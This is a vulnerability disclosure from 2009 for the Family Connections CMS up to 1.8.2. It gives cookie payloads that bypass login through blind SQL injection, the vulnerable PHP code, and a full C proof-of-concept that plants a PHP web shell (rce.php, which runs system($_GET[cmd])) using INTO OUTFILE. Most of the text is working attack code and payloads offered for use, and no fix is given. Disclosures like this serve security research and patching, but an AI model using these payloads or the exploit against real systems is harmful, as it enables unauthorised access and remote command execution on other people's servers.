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******* Salvatore "drosophila" Fresta *******
[+] Application: Family Connections [+] Version: <= 1.8.2 [+] Website: http://www.familycms.com
[+] Bugs: [A] Blind SQL Injection
[+] Exploitation: Remote [+] Date: 1 Apr 2009
[+] Discovered by: Salvatore "drosophila" Fresta [+] Author: Salvatore "drosophila" Fresta [+] Contact: e-mail: drosophilaxxx@gmail.com
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[+] Menu
1) Bugs 2) Code 3) Fix
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[+] Bugs
- [A] Blind SQL Injection
[-] File affected: inc/util_inc.php
Usually an SQL injection vulnerability located in the authentication system allows a guest to bypass it, and this is just what happens using the following cookie:
Cookie name: fcms_login_id Cookie content: -1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,'admin','password',12,13,14,15,16,17,18,19,20,21,22 Cookie server: localhost (change it) Cookie path: /
Cookie name: fcms_login_uname Cookie content: admin Cookie server: localhost (change it) Cookie path: /
Cookie name: fcms_login_pw Cookie content: password Cookie server: localhost (change it) Cookie path: /
Anyway the values contained in the previous cookies are used also by other functions and queries and so is not possible to surf on the vulnerable website with such permissions because the CMS interrupts the sessions each time a SQL error is encountered. For this reason the possibility to write the result of the SQL queries on the files is handy to bypass this limitation.
The follows is the vulnerable code:
...
elseif (isset($_COOKIE['fcms_login_id'])) { if (isLoggedIn($_COOKIE['fcms_login_id'], $_COOKIE['fcms_login_uname'], $_COOKIE['fcms_login_pw'])) { $_SESSION['login_id'] = $_COOKIE['fcms_login_id']; $_SESSION['login_uname'] = $_COOKIE['fcms_login_uname']; $_SESSION['login_pw'] = $_COOKIE['fcms_login_pw']; } ...
in util_inc.php:
function isLoggedIn ($userid, $username, $password) { $result = mysql_query("SELECT * FROM `fcms_users` WHERE `id` = $userid LIMIT 1") or die('<h1>Login Error (util.inc.php 275)</h1>' . mysql_error()); if (mysql_num_rows($result) > 0) { $r = mysql_fetch_array($result); if ($r['username'] !== $username) { return false; } elseif ($r['password'] !== $password) { return false; } else { return true; } } else { return false; } }
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[+] Code
- [A] Blind SQL Injection
/*
Family Connections <= 1.8.2 - Remote Command Execution Proof of Concept - Written by Salvatore "drosophila" Fresta
The following software will create a file (rce.php) in the specified path using Blind SQL Injection bug. To exec remote commands, you must open the file using a browser. */
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <netdb.h>
int socket_connect(char *server, int port) {
int fd; struct sockaddr_in sock; struct hostent *host; memset(&sock, 0, sizeof(sock)); if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; sock.sin_family = AF_INET; sock.sin_port = htons(port); if(!(host=gethostbyname(server))) return -1; sock.sin_addr = *((struct in_addr *)host->h_addr); if(connect(fd, (struct sockaddr *) &sock, sizeof(sock)) < 0) return -1; return fd; }
int socket_send(int socket, char *buffer, size_t size) { if(socket < 0) return -1;
return write(socket, buffer, size) < 0 ? -1 : 0; }
void usage(char *bn) {
printf("\n\nFamily Connections <= 1.8.2 - Remote Command Execution\n" "Proof of Concept - Written by Salvatore \"drosophila\" Fresta\n\n" "usage: %s <server> <path> <fs path>\n" "example: %s localhost /fcms/ /var/www/htdocs/fcms/\n\n", bn, bn);
}
int main(int argc, char *argv[]) { int sd; char code[] = "'<?php echo \"<pre>\"%3b system($_GET[cmd])%3b echo \"</pre><br><br>\"%3b?>'", *buffer; if(argc < 4) { usage(argv[0]); return -1; } if(!(buffer = (char *)calloc(216+strlen(argv[1])+strlen(argv[2])+strlen(argv[3]), sizeof(char)))) { perror("calloc"); return -1; } sprintf(buffer, "GET %shome.php HTTP/1.1\r\n" "Host: %s\r\n" "Cookie: fcms_login_id=-1 UNION ALL SELECT %s,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO OUTFILE '%srce.php'#\r\n\r\n", argv[2], argv[1], code, argv[3]); printf("\n[*] Connecting..."); if((sd = socket_connect(argv[1], 80)) < 0) { perror("[-] Connection failed"); free(buffer); return -1; } printf("\n[+] Connected" "\n[*] Sending..."); if(socket_send(sd, buffer, strlen(buffer)) < 0) { perror("[-] Sending failed"); free(buffer); return -1; } printf("\n[+] Sent\n\n" "Open your browser and try to connect to http://%s%srce.php?cmd=ls\n\n", argv[1], argv[2]); recv(sd, buffer, 1, 0); close(sd); free(buffer); printf("[+] Connection closed\n\n"); return 0; }
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[+] Fix
No fix.
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